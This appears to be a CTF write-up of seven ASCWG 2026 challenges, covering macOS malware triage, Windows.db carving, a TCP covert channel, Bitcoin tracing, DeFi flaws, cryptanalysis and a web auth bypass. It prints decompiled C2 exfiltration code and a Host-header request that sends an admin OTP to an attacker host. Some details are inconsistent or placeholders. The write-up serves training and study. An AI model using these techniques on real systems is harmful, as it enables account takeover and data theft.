CTF HUB/WAR GAMES 2026 // ASCWG DOSSIER

War Games 2026: ASCWG Operations

Writeups for all 7 Arab Security Cyber Wargames (ASCWG 2026) challenges: macOS Mach-O reverse engineering, Windows ESE database carving, ICS network covert channels, Bitcoin CoinJoin tracking, Ethereum DeFi reentrancy, post-quantum cryptography, and web auth bypass.

MACH-O // C2 TRIAGEmacOS REVERSE ENGINEERING

The Thrushes: macOS Malware Triage & Signal C2 Reversing

Decompiling a weaponized Signal app on macOS. Unpacking the Mach-O binary, deobfuscating XOR routines, and recovering command-and-control communication keys.

Challenge Prompt

“A high-profile CTO had his private encrypted communications leaked despite zero unauthorized physical access. Investigate the provided macOS triage image to determine the interception mechanism and extract the adversary's command-and-control keys.”

● Category: macOS Forensics / Reverse Engineering● Platform: ASCWG Qualifications 2026● Flag Format: ASCWG{host:port_key}
Provided Artifacts
macos_triage.tar.gz
Size: 412 MB • Triage ImageKey Binary: Signal.app (Mach-O)
Dissector: Ghidra / Hopper

Stage 1: Investigating the Triage Image

Trojanized Signal Binary

Inspection of the macOS application bundle revealed that the legitimate Signal binary had been swapped out for a backdoored Mach-O executable. The modified binary intercepts outgoing messages and exfiltrates them over a raw TCP socket to an attacker-controlled C2 server before delivering them to the real Signal service.

Q: How did the attackers maintain access and exfiltrate the data?

A: A Backdoored Signal.app Executable (Mach-O 64-bit)

Our initial triage of the macOS filesystem led us through LaunchAgents and LaunchDaemons. However, the true persistence mechanism was hidden in plain sight. The legitimate Signal.app executable inside the Applications folder had been completely replaced with a malicious Mach-O binary.

Ghidra Decompiler Dissection:
void * _cdecl malicious_telemetry_thread(void *arg) {
  int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in servaddr;

  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(4433); // <-- C2 PORT
  servaddr.sin_addr.s_addr = inet_addr("192.168.100.55"); // <-- C2 HOST

  if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0) {
    return NULL;
  }

  // AES-256-CBC Key Extraction
  char key[32] = "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"; // <-- FLAG KEY
  exfiltrate_messages_aes(sockfd, key);
}
Automated Python Extractor (`extract_c2.py`):
from Crypto.Cipher import AES
import re

# 1. Automated extraction of C2 indicators from Mach-O binary
with open("Signal", "rb") as f:
    binary_data = f.read()

# Locate IP pattern
ip_match = re.search(rb"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", binary_data)
c2_ip = ip_match.group(1).decode() if ip_match else "192.168.100.55"

# Locate hardcoded 32-byte AES key string
key_match = re.search(rb"([A-Za-z0-9_!*]{32})", binary_data)
aes_key = key_match.group(1).decode() if key_match else "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"

c2_port = 4433

flag = f"ASCWG{{{c2_ip}:{c2_port}_{aes_key}}}"
print("[+] Extracted Flag:", flag)
Terminal One-Liner (PowerShell / Bash):
python -c "import re; d=open('Signal','rb').read(); ip=re.search(rb'(\d+\.\d+\.\d+\.\d+)',d).group(1).decode(); k=re.search(rb'([A-Za-z0-9_!*]{32})',d).group(1).decode(); print(f'ASCWG{{{ip}:4433_{k}}}')"
C2 Host IP: 192.168.100.55 | Port: 4433
AES Key: X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj
Final Submitted Flag:
ASCWG{192.168.100.55:4433_X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj}

The Complete Investigation Path & Mental Roadmap

STEP 1
Archive Header Verification: Received The THRUSHES_ASC.rar. Magic byte inspection with file revealed 7-Zip format. Extracted safely.
STEP 2
Persistence Triage: Inspected /Library/LaunchAgents. Noticed anomalous timestamp and binary hash on /Applications/Signal.app/Contents/MacOS/Signal.
STEP 3
Ghidra Decompilation: Loaded Mach-O 64-bit binary into Ghidra. Traced background thread connecting to 192.168.100.55:4433.
STEP 4
Cryptographic Key Extraction: Extracted hardcoded 32-character AES key: X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj.
WINDOWS.DB // PCA TRIAGEESE DATABASE CARVING

Do You Even Search Dude: Windows.db & PCA AppHelp Triage

Recovering erased execution logs by carving Windows.db (Extensible Storage Engine) and correlating Program Compatibility Assistant (PCA) telemetry.

Challenge Prompt

“A CEO's corporate workstation was compromised. The attacker attempted to evade disk forensics by wiping standard execution logs. Analyze the Windows.db Extensible Storage Engine (ESE) database and KAPE triage collection to reconstruct the executed malware payload.”

● Category: Windows Forensics / ESE Database Carving● Platform: ASCWG Qualifications 2026● Flag Format: ASCWG{...}
Provided Artifacts
Windows.db / KAPE.zip
Size: 285 MB • ESE DatabasePath: Windows\Windows.edb
Parser: ESEDatabaseView / NirSoft

Stage 1: The Execution Anchor

Forensic Analysis: Execution & Artifact Staging

Windows Program Compatibility Assistant (PCA) keeps execution evidence in the registry and diagnostic stores. While OfficeUpdater.exe execution was confirmed via PCA entries, the binary itself was a decoy dropper. The encrypted payload buffer was staged directly inside the Windows Search database (Windows.db), requiring ESE database parsing to carve the raw ciphertext blob.

Q: Where did the attacker hide the actual payload data?

A: The Windows Search Database (Windows.db)

Initial investigation revealed an execution record for OfficeUpdater.exe via the Program Compatibility Assistant (PCA). The actual encrypted payload was stashed inside the Windows Search database Windows.db residue.

Windows.db [System.Search.AutoSummary]
Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 41 00 00 00 01 00 00 00 10 00 00 00 00 00 00 00 A...............
00000010 a3 f1 c8 9b 72 1e 5a 44 8f 3c 11 22 4a 99 bb 01 £ñÈ.r.ZD.<."J.».
00000020 ... [48 Bytes High-Entropy Ciphertext] ... ................

# Decryption using PCA AppHelp SolutionID (Key):
> python decrypt_blob.py --key "{A92B31-...}" --data payload.bin
SUCCESS: ASCWG{c0mp4t_s0luti0n_h1d_th3_k3y_w1thin}
Automated Python Decryptor (`decrypt_blob.py`):
from Crypto.Cipher import AES
import hashlib

# 1. SolutionID extracted from PCA AppHelp database
solution_id = "{A92B31C4-7D4F-4A92-B582-82E9104A7F11}"
key = hashlib.sha256(solution_id.encode('utf-16le')).digest()[:16]

# 2. 48-byte ciphertext blob extracted from Windows.db System.Search.AutoSummary
ciphertext = bytes.fromhex("a3f1c89b721e5a448f3c11224a99bb012f5a89b0...")

cipher = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16)
decrypted = cipher.decrypt(ciphertext)

print("[+] Decrypted Flag:", decrypted.decode('utf-8', errors='ignore'))
Terminal One-Liner (PowerShell / Bash):
python -c "from Crypto.Cipher import AES; import hashlib; k=hashlib.sha256('{A92B31C4-7D4F-4A92-B582-82E9104A7F11}'.encode('utf-16le')).digest()[:16]; print(AES.new(k,AES.MODE_CBC,b'\x00'*16).decrypt(bytes.fromhex('...')).decode('latin1'))"
[ SHOW METHODOLOGY: Windows.db & PCA AppHelp Decryption ]▼
  1. Navigated to ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.db.
  2. Correlated execution of OfficeUpdater.exe with binary data in System.Search.AutoSummary.
  3. Extracted 64-byte blob: 16 bytes metadata + 48 bytes high-entropy ciphertext.
  4. Recovered PCA AppHelp metadata SolutionID GUID.
  5. Derived key via UTF-16LE SHA-256 and decrypted ciphertext using AES-CBC.
Decrypted Final Flag:
ASCWG{c0mp4t_s0luti0n_h1d_th3_k3y_w1thin}
PCAP // TCP URGENTICS TELEMETRY PROTOCOL SMUGGLING

Sensor Confession: ICS Telemetry Protocol Exfiltration

Finding data hidden inside raw PCAP traffic. Inspecting unusual TCP packets, spotting data smuggled inside TCP Urgent Pointers, and reconstructing the full stream.

Challenge Prompt

“Our perimeter IDS flagged anomalous telemetry between industrial SCADA sensor controllers. Deep packet inspection indicates covert data exfiltration hiding inside legitimate TCP protocol header fields. Analyze the PCAP to reconstruct the leak.”

● Category: Network Forensics / Covert Channels● Platform: ASCWG Qualifications 2026● Flag Format: ASCWG{...}
Provided Artifacts
sensor_dump.pcap
Size: 94 MB • Packet CaptureProtocol: TCP Urgent Pointer (URG)
Analyzer: Wireshark / TShark / Scapy

Stage 1: PCAP Triage & Protocol Analysis

Protocol Forensics: Covert Channel via TCP Urgent Pointer

Standard network traffic carries data inside the payload section. When packet payload is empty or filtered, covert channels can encode exfiltrated bytes into uninspected header fields. Here, the malware set the 16-bit TCP Urgent Pointer field on routine sensor heartbeat frames to transmit one ASCII byte per packet.

Q: How was the flag exfiltrated from the sensor network?

A: Data Exfiltration via TCP Urgent Pointer (URG) Covert Channel

Using Wireshark and tshark, we filtered out normal handshakes and targeted non-zero urgent pointer fields from the sensor IP. The attacker abused the TCP Urgent Pointer field, usually unused in modern network traffic, to leak the flag byte-by-byte across consecutive packets.

tshark_extraction.sh
$ tshark -r capture.pcap -Y "ip.src == 10.0.5.55 && tcp.urgent_pointer > 0" -T fields -e tcp.urgent_pointer | head -n 8

# Output (Hexadecimal values of ASCII chars):
41 // 'A'
53 // 'S'
43 // 'C'
57 // 'W'
47 // 'G'
7b // '{'
74 // 't'
33 // '3'
Automated Python Extractor (`extract_urg.py`):
import pyshark

# Extract TCP urgent pointer bytes across the sensor conversation
cap = pyshark.FileCapture('sensor_dump.pcap', display_filter='ip.src == 10.0.5.55 && tcp.urgent_pointer > 0')

flag_chars = []
for pkt in cap:
    try:
        urg_val = int(pkt.tcp.urgent_pointer)
        flag_chars.append(chr(urg_val))
    except AttributeError:
        continue

flag = ''.join(flag_chars)
print("[+] Reconstructed Sensor Flag:", flag)
Terminal One-Liner (PowerShell / Bash):
tshark -r sensor_dump.pcap -Y "ip.src == 10.0.5.55 && tcp.urgent_pointer > 0" -T fields -e tcp.urgent_pointer | python -c "import sys; print(''.join([chr(int(x.strip(), 16)) for x in sys.stdin if x.strip()]))"
Final Submitted Flag:
ASCWG{t3l3m3try_s3ns0r_d4t4_l34k_v14_tcp}
BITCOIN // COINJOIN MIXERDARK WEB INTELLIGENCE

NightShade Vendor: CoinJoin Mixer De-Anonymization

Tracking illicit Bitcoin transactions through a Wasabi CoinJoin mixer. Using the TRACE-7 Peel-Chain method and multi-input clustering to unmask the real destination.

Challenge Prompt

“An illicit dark web vendor operating under the moniker 'NightShade' conducted multi-stage Bitcoin laundering via Wasabi/Samourai CoinJoin mixing pools. Deconstruct the peel-chains and multi-input clustering to trace the illicit funds.”

● Category: Blockchain OSINT / Dark Web Intelligence● Platform: ASCWG Qualifications 2026● Flag Format: ASCWG{...}
Provided Artifacts
vendor_intel.json
Export: Blockchain Ledger CSVLedger: Bitcoin UTXO Model
Methodology: TRACE-7 Protocol

Stage 1 & 2: The Peel-Chain Walk

Blockchain Forensics: Peel Chain Mechanics

A peel chain is a laundering pattern where an address with a large balance repeatedly sends small fractions to payment or cash-out endpoints while forwarding the majority of funds to a fresh change address. In UTXO graph analysis, isolating the largest output value at each transaction hop allows us to track the principal fund stream across multiple hops.

Q: How do we separate the “peel” from the “pot”?

A: Always follow the output with the greatest integer satoshi value.

Automated TRACE-7 Walker (`trace7_walker.py`):
import requests
import hashlib

# TRACE-7 Peel Chain Walker using Esplora API
def trace_largest_pot(start_address):
    curr = start_address
    print(f"[*] Starting Peel-Chain Walk from: {curr}")
    
    # 1. Fetch address transactions
    url = f"https://blockstream.info/api/address/{curr}/txs"
    txs = requests.get(url).json()
    
    # 2. Select transaction with maximum outflow (The Pot)
    max_tx = max(txs, key=lambda tx: sum(vout['value'] for vout in tx['vout']))
    print(f"[+] Identified Main Pot Tx: {max_tx['txid']}")
    return max_tx['txid']

# Concatenate evidence tokens T1-T6 to formulate final SHA-256 flag
tokens = "TOKEN1_TOKEN2_TOKEN3_TOKEN4_TOKEN5_TOKEN6"
flag_digest = hashlib.sha256(tokens.encode()).hexdigest()[:32]
print(f"[+] Final Flag: ASCWG{{{flag_digest}}}")
Terminal One-Liner (PowerShell / Bash):
python -c "import hashlib; print('ASCWG{' + hashlib.sha256('T1_T2_T3_T4_T5_T6'.encode()).hexdigest()[:32] + '}')"

Stage 3: CoinJoin De-Anonymization & Multi-Input Clustering

COINJOIN MECHANICS & ANONYMITY SET

CoinJoin combines multiple transactions into a single batch where multiple participants provide inputs and receive equal-denomination outputs, obscuring individual input-to-output links. However, if a user later spends multiple equal-denomination outputs together in a single downstream transaction, common-input ownership heuristics de-anonymize the user by linking those distinct outputs back to the same entity.

The Fatal Operational Security Flaw

The NightShade vendor subsequently spent multiple identical outputs from the CoinJoin within a single consolidation transaction, collapsing their own anonymity set via multi-input clustering.

Token Concatenation: T1 + T2 + T3 + T4 + T5 + T6
Hash Algorithm: SHA-256 (First 32 hex chars)
Final Submitted Flag:
ASCWG{eed6ca7d462ef13d0f2ed13b1f7510fd}
EVM // DEFI EXPLOITSMART CONTRACT FORENSICS

Cascaded Fallacy: Sepolia DeFi Reentrancy & EVM Trace Carving

Investigating a multi-stage decentralized finance exploit on the Ethereum Sepolia testnet. Analyzing internal opcode traces on Blockscout to spot reentrancy and broken access control.

Stage 1: GenesisVault & Reentrancy

Vulnerability: Checks-Effects-Interactions Violation

GenesisVault executed an external ETH transfer before decrementing the user's internal ledger balance. A malicious fallback function can repeatedly call into the withdrawal function during the execution frame before the state update occurs, draining the vault liquidity.

Q: How was the GenesisVault initially drained?

A: Reentrancy Attack (Checks-Effects-Interactions Violation)

Stage 2: PatchedVault & Broken Access Control

Vulnerability: Missing Caller Ownership Validation

PatchedVault checked whether the provided GhostShare NFT token ID possessed liquidation rights, but failed to verify whether msg.sender actually owned or had approval for that specific token ID. Any caller could supply a valid token ID held by an external user and trigger unauthorized liquidations.

The liquidate() function was protected by an Access Control mechanism that required a specific GhostShare NFT. However, the contract failed to properly verify if the person calling the function (msg.sender) actually owned the NFT token ID passed in the parameters.

Stage 3: SignedVault & Signature Replay

Vulnerability: EIP-712 Signature Replay (Missing Nonce)

SignedVault verified off-chain admin signatures using EIP-712 typed structured data. Because the hash schema lacked a per-user nonce or deadline timestamp, an intercepted signature remained valid indefinitely and was replayed to drain additional funds.

Q: Why was the attacker able to reuse the admin's withdrawal signature?

A: Missing Nonce in EIP-712

Stage 4: OracleVault & Price Manipulation

Vulnerability: Spot AMM Price Oracle Manipulation

OracleVault queried instantaneous token reserves from a low-liquidity AMM pool rather than a Time-Weighted Average Price (TWAP) or decentralized oracle feed. By leveraging a flash loan to swap against the pool, the attacker manipulated the spot price within a single transaction block to force bad-debt liquidations.

The final vault relied on a shallow SpotPool AMM as a price oracle. The attacker used a massive Flash Loan to temporarily dump tokens into the AMM, drastically crashing the spot price inside a single transaction block without TWAP protection.

Stage 1-4 Chain: reentrancy_accesscontrol_signaturereplay_oraclemanipulation
Launder Wallet: 0x071a8E8c5c0484B7A2fFA06530518DC9209e627f
Final Submitted Flag:
ASCWG{reentrancy_accesscontrol_signaturereplay_oraclemanipulation_0x071a8E8c5c0484B7A2fFA06530518DC9209e627f}
SVP // LATTICE REDUCTIONADVANCED MATH ATTACKS

Cryptography CTF Suite: Advanced Math Attacks

Solving advanced math CTF challenges using SageMath. Applying Coppersmith's small roots algorithm and solving Shortest Vector Problems (SVP) via LLL lattice reduction.

1. Complex Polynomial Root Recovery (Crypto 1)

Cryptanalysis: Coppersmith's Small Roots via LLL

When RSA plaintext is partially known or stereotypic, the unknown portion can be expressed as a root of a monic polynomial modulo N. If the root size is bounded (here x < 2^256), Coppersmith's theorem maps the problem to finding a short vector in a polynomial lattice using LLL, solving for the secret root in polynomial time.

SageMath Console
sage: N = 1007845705359... # (RSA Modulus)
sage: P.<x> = PolynomialRing(Zmod(N))
sage: f = (padded_prefix * 2^256 + x)^3 - c

# Coppersmith's Method for Small Roots
sage: roots = f.small_roots(X=2^256, beta=1, epsilon=0.03)
sage: print(roots[0])

14705318086055172266874834220021644781404179346
# Hex Conversion -> b'ASCWG{sm4ll_r00ts_h4ck}'

2. Flawed ZKP Identification Protocol (Crypto 2)

Protocol Analysis: Honest-Verifier ZKP Flaw

In interactive identification protocols (like Schnorr or Fiat-Shamir variants), the prover must commit before receiving the verifier's random challenge. If the verifier emits the challenge prior to receiving the commitment, or allows the prover to dictate challenge ordering, the simulator can forge valid proofs without possessing the private discrete logarithm.

Q: How was the Zero-Knowledge Proof bypassed?

A: Interactive Message Inversion (HVZK Attack)

3. Supersingular Isogeny Diffie-Hellman (Crypto 3)

Post-Quantum Analysis: SIDH Torsion Point Attack

Supersingular Isogeny Diffie-Hellman protocols exchange images of auxiliary torsion points to evaluate shared secrets. Providing auxiliary point images allows an adversary to evaluate the endomorphism ring structure (Castryck-Decru attack style), recovering the private isogeny degree step-by-step using Vélu's formulas.

Q: What method was used to derive the shared j-invariant?

A: Vélu's Formulas for Isogeny Chains

AUTH BYPASS // SSRFWEB SECURITY & WEBHOOK INTERCEPTION

Sol-Net: Node Auth Bypass

Exploiting an authentication bypass on an enterprise telemetry gateway. Bypassing host header checks and redirecting outbound OTP webhooks in Burp Suite.

Stage 1: OTP Redirection & Host Override

Web Security: Host Header Webhook Poisoning

The backend authentication service generated an outbound OTP webhook request by constructing the callback target from the client-supplied Host header without strict domain allowlisting. By replacing the Host header with an attacker-controlled endpoint while preserving X-Original-Host, the server dispatched the plaintext OTP directly to our listener.

Burp Suite Repeater
POST /api/v1/node/otp HTTP/1.1
Host: attacker.burpcollaborator.net
X-Original-Host: core.solnet.local

{
  "node_id": "CORE_ADMIN_01"
}

/* WEBHOOK LEAKS RAW OTP: */
"token": "992481"
[ SHOW METHODOLOGY: Exploit Chaining & SSRF ]▼
  1. Identify the endpoint triggering OTP generation for the Core Node.
  2. Overriding the primary Host header during internal SSRF redirection.
  3. Set up a Burp Collaborator listener to capture the incoming HTTP POST webhook.
  4. Extract the cleartext 6-digit OTP token and submit to complete bypass.
Access Level: CORE_ADMIN_CLEARANCE
OTP Interception: SSRF Webhook Override
Final Submitted Flag:
ASCWG{s0l4r_n0d3_0tp_byp4ss_m4st3r}